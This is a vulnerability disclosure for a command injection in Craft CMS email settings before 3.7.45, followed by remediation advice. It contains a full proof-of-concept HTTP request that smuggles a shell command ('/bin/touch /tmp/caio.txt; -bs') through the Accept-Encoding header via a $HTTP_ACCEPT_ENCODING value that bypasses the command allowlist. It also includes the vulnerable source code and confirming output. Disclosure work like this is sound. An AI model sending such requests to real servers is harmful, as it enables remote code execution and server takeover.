Summary
Craftcms is vulnerable to Command Injection on the email settings. An attacker can send a POST request with a specially crafted “transportTypes” “[craftmailtransportadaptersSendmail][command]=” parameter to inject arbitrary commands that will be executed by the server. This can be exploited to gain access to sensitive information, or to take control of the server.
Product
Craftcms/cms versions before 3.7.45.
Impact
An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.
Steps to reproduce
As an authenticated user, send the following POST request :
POST /admin/settings/email HTTP/1.1
Host: tutorial.nitro
Content-Length: 1567
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://tutorial.nitro
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://tutorial.nitro/admin/settings/email
Accept-Encoding: /bin/touch /tmp/caio.txt; -bs
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: CraftSessionId=a9c4d48f469aeafb0104ae0764ab2ced; 1031b8c41dfff97a311a7ac99863bdc5_identity=44097a28c77a8e9b50bf5a3961405a423a803d86736130a4238217a4a6fd9208a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_identity%22%3Bi%3A1%3Bs%3A159%3A%22%5B1%2C%22%5B%5C%229RBgto_5gOySUsNpsV3PFZ9zyT1Ulw_4QgDHBHSsNkftGaxKV3eQpZCfy1_Lf4tywuYQeJ6jxjNPIv3mP-KKwfRy7ERG_oqTRv_-%5C%22%2Cnull%2C%5C%22727ad4f7864c7014a50b399443285ac1%5C%22%5D%22%2C3600%5D%22%3B%7D; CRAFT_CSRF_TOKEN=7b630e55d438c66036fd34b88848d375b3b4df81000e394ccc9e9b7856f979e6a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C899f57f7a62d2d6a628a1ff63d0464143fc1900e4b3a75fc509cc9ff79344fc9XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C1%22%3B%7D; 1031b8c41dfff97a311a7ac99863bdc5_username=85a1d514f8cd30fd480bbc5a47bbd795f4a09c14e02d5831744def469bca384ea%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D
Connection: close
CRAFT_CSRF_TOKEN=xxx&action=system-settings%2Fsave-email-settings&
redirect=61397312e1a8395a0eee0b2326b3ca7166610066e62b4322d1747aaa889b1270settings&fromEmail=g3ol4d0%40gmail.com&
replyToEmail=&fromName=test&transportType=craft%5Cmail%5Ctransportadapters%5CSendmail&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSendmail%5D%5Bcommand%5D=%24HTTP_ACCEPT_ENCODING&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bhost%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bport%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BuseAuthentication%5D=1&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BencryptionMethod%5D=none&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Btimeout%5D=10&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Busername%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Bpassword%5D=&
transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Btimeout%5D=10&action=system-settings%2Ftest-email-settings
The transportTypes “[craftmailtransportadaptersSendmail][command]=” parameter was set to “$HTTP_ACCEPT_ENCODING”, this is necessary to bypass the “_allowedCommands()” function on “htdocs/vendor/craftcms/cms/src/mail/transportadapters/Sendmail.php”.
private function _allowedCommands(): array
{
// Grab the current value from the project config rather than $this->command, so we don't risk
// polluting the allowed commands with a tampered value that came from the post data
$command = Craft::$app->getProjectConfig()->get('email.transportSettings.command');
return array_unique(array_filter([
!str_starts_with($command, '$') ? $command : null,
self::DEFAULT_COMMAND,
ini_get('sendmail_path'),
]));
}
The function fails to proper check if the command should be accepted because an attacker can use the “$HTTP_” env variables to bypass the check.
The command is than inserted on the Accept-Encoding: “/bin/touch /tmp/caio.txt; -bs” header (or any other). It’s also necessary to pass an “-bs” string to the command because of the “/htdocs/vendor/symfony/mailer/Transport/SendmailTransport.php”.
if (null !== $command) {
if (!str_contains($command, ' -bs') && !str_contains($command, ' -t')) {
throw new InvalidArgumentException(sprintf('Unsupported sendmail command flags "%s"; must be one of "-bs" or "-t" but can include additional flags.', $command));
With that we can execute arbitrary command on the server.
$ ls -lhrat /tmp/
[...]
-rw-r--r-- 1 www-data www-data 0 May 7 18:56 caio.txt
drwxrwxrwt 1 root root 4.0K May 7 18:56 .
Impact:
An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.
Remediation
Update craftcms/cms to version 3.7.45 or above.